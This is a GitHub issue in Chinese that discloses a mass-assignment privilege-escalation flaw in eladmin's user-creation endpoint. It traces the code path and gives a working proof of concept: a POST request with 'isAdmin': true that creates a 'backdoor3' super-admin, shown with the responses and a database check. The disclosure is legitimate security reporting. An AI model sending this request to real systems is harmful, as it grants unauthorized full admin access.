Skip to content

isAdmin标志导致垂直越权 #897

Description

@AliceS614

1. 漏洞概述

eladmin 的 UserController.createUser 接口存在 Mass Assignment 漏洞。拥有 user:add 权限的次级管理员可以在创建用户时注入 isAdmin=true 字段,使新用户获得超级管理员权限,绕过整个基于角色的权限控制体系。

该漏洞具有较高的隐蔽性:端点配置了 @PreAuthorize 权限注解,且业务逻辑中存在 checkLevel() 角色等级校验,表面上已经"安全"。但 isAdmin 是一个独立于角色系统的超级权限标记,不在 checkLevel() 的校验范围内。

2. 漏洞调用链

2.1 入口 — UserController.createUser

文件: eladmin-system/.../rest/UserController.java:108-116

@Log("新增用户")
@ApiOperation("新增用户")
@PostMapping
@PreAuthorize("@el.check('user:add')")
public ResponseEntity<Object> createUser(@Validated @RequestBody User resources){
    checkLevel(resources);                                    // [1] 仅校验角色等级
    resources.setPassword(passwordEncoder.encode("123456"));  // [2] 覆盖密码
    userService.create(resources);                            // [3] 直接传入完整 Entity
    return new ResponseEntity<>(HttpStatus.CREATED);
}

问题: @RequestBody User resources 接收完整的 User JPA Entity。checkLevel() 仅校验角色等级,不校验 isAdmin 字段。resources 被原封不动传入 Service 层。

2.2 等级校验 — checkLevel()

文件: eladmin-system/.../rest/UserController.java:203-209

private void checkLevel(User resources) {
    Integer currentLevel = Collections.min(
        roleService.findByUsersId(SecurityUtils.getCurrentUserId())
            .stream().map(RoleSmallDto::getLevel).collect(Collectors.toList()));
    Integer optLevel = roleService.findByRoles(resources.getRoles());
    if (currentLevel > optLevel) {
        throw new BadRequestException("角色权限不足");
    }
}

问题: 该方法仅校验角色等级 (level) ——确保操作者不能给新用户分配比自己更高级别的角色。完全没有检查 isAdmin 字段。

2.3 持久化 — UserServiceImpl.create()

文件: eladmin-system/.../service/impl/UserServiceImpl.java:87-98

@Override
@Transactional(rollbackFor = Exception.class)
public void create(User resources) {
    if (userRepository.findByUsername(resources.getUsername()) != null) {
        throw new EntityExistException(User.class, "username", resources.getUsername());
    }
    if (userRepository.findByEmail(resources.getEmail()) != null) {
        throw new EntityExistException(User.class, "email", resources.getEmail());
    }
    if (userRepository.findByPhone(resources.getPhone()) != null) {
        throw new EntityExistException(User.class, "phone", resources.getPhone());
    }
    userRepository.save(resources);  // ← 直接保存完整 Entity,isAdmin=true 被写入数据库
}

问题: userRepository.save(resources)User Entity 的所有字段(包括 isAdmin)直接持久化到数据库,无任何字段过滤。

对比: 同一文件中的 update() 方法(行 102-144)采用了逐字段复制的方式,不会复制 isAdmin,因此 update 路径是安全的。这证明开发者有安全意识,但在 create() 路径上遗漏了。

2.4 未受保护的 Entity 字段 — User.isAdmin

文件: eladmin-system/.../domain/User.java:101-102

@ApiModelProperty(value = "是否为admin账号", hidden = true)
private Boolean isAdmin = false;

问题: isAdmin 字段仅标注了 @ApiModelProperty(hidden = true)(Swagger 文档隐藏),没有 @JSONField(deserialize=false) 或任何反序列化保护。fastjson2 作为 HTTP 消息转换器会正常将请求 JSON 中的 "isAdmin": true 绑定到该字段。

2.5 权限构建 — RoleServiceImpl.buildPermissions()

文件: eladmin-system/.../service/impl/RoleServiceImpl.java:174-184

@Override
public List<AuthorityDto> buildPermissions(UserDto user) {
    String key = CacheKey.ROLE_AUTH + user.getId();
    List<AuthorityDto> authorityDtos = redisUtils.getList(key, AuthorityDto.class);
    if (CollUtil.isEmpty(authorityDtos)) {
        Set<String> permissions = new HashSet<>();
        // 如果是管理员直接返回
        if (user.getIsAdmin()) {
            permissions.add("admin");                        // ← isAdmin=true 时直接返回 "admin"
            return permissions.stream().map(AuthorityDto::new)
                    .collect(Collectors.toList());
        }
        // ... 正常的基于角色的权限解析(isAdmin=true 时不会执行到这里)
    }
    return authorityDtos;
}

问题: 当 isAdmin=true 时,直接返回 ["admin"] 权限,完全跳过基于角色的权限解析。

2.6 权限短路 — AuthorityConfig.check()

文件: eladmin-common/.../config/AuthorityConfig.java:36-41

@Service(value = "el")
public class AuthorityConfig {
    public Boolean check(String ...permissions){
        List<String> elPermissions = SecurityUtils.getCurrentUser().getAuthorities()
            .stream().map(GrantedAuthority::getAuthority).collect(Collectors.toList());
        return elPermissions.contains("admin")               // ← "admin" 短路所有权限检查
            || Arrays.stream(permissions).anyMatch(elPermissions::contains);
    }
}

问题: 所有 @PreAuthorize("@el.check('xxx')") 注解最终调用此方法。当权限列表包含 "admin" 时,contains("admin") 直接返回 true所有端点的权限校验被短路

完整攻击链

攻击者 POST /api/users {"isAdmin": true, ...}
    ↓
[UserController.createUser]  @PreAuthorize("user:add") ✓ 通过
    ↓
[checkLevel()]  仅校验 roles.level → ✓ 通过(isAdmin 不在校验范围)
    ↓
[UserServiceImpl.create()]  userRepository.save() → isAdmin=true 写入数据库
    ↓
新用户登录时:
    ↓
[RoleServiceImpl.buildPermissions()]  getIsAdmin()=true → 返回 ["admin"]
    ↓
[AuthorityConfig.check()]  contains("admin")=true → 所有 @PreAuthorize 短路
    ↓
新用户获得超级管理员完整权限

3. PoC 复现步骤

前置条件

  • 通过 admin 创建 level=3 的 "DeptManager" 角色(id=6),并分配 user:add 权限
  • 创建 deptadmin 用户,分配 DeptManager 角色

3.1 以 deptadmin 身份登录,获得 token

3.2 发送恶意请求(注入 isAdmin=true

Request:

POST http://localhost:8000/api/users
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJ1aWQiOiI4ZWEzM2IxNzgxZGU0YzQ5YjgwZTczMDQ4ZTk3M2FhMCIsInVzZXJJZCI6Mywic3ViIjoiZGVwdGFkbWluIn0.mk5WfKLsl-RKdMMXi3ppVNSU-wEuXXqedbHX2JUDBwPB6pXpN_3GZn6kZ3mBw3i7zuH29HwMJ0CcjbimxOAMXA
Content-Type: application/json

{
  "username": "backdoor3",
  "nickName": "Normal Looking User",
  "email": "backdoor3@test.com",
  "phone": "13900000088",
  "enabled": true,
  "isAdmin": true,
  "roles": [
    {
      "id": 6
    }
  ],
  "dept": {
    "id": 2
  },
  "jobs": [
    {
      "id": 1
    }
  ]
}

Response:

HTTP/1.1 201 Created
Vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Content-Length: 0
Date: Mon, 20 Apr 2026 09:22:40 GMT

用户创建成功,返回 201 Created

3.3 权限对比验证

以 deptadmin 和 backdoor3 分别访问 /api/roles(需要 roles:list 权限):

deptadmin (同角色, isAdmin=false):

GET http://localhost:8000/api/roles
Authorization: Bearer <deptadmin-token>

HTTP/1.1 400 Bad Request
{"message":"权限不足","status":400}

backdoor3 (同角色, isAdmin=true):

GET http://localhost:8000/api/roles
Authorization: Bearer <backdoor3-token>

HTTP/1.1 200 OK
{"content":[{"createTime":"2018-11-23 11:04:37","dataScope":"全部","depts":[],"description":"-","id":1,"level":1,...}]}

结论: 相同角色配置下,isAdmin=true 使 backdoor3用户绕过了所有权限检查,获得超级管理员完整访问权。

3.4 数据库证明

SELECT user_id, username, is_admin FROM eladmin.sys_user
WHERE username IN ('admin', 'deptadmin', 'backdoor3');
+---------+-----------+----------+
| user_id | username  | is_admin |
+---------+-----------+----------+
|       1 | admin     |  (true)  |
|       3 | deptadmin |  (false) |
|       5 | backdoor3 |  (true)  |
+---------+-----------+----------+

backdoor3is_admin 值与 admin 一致,均为 true

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions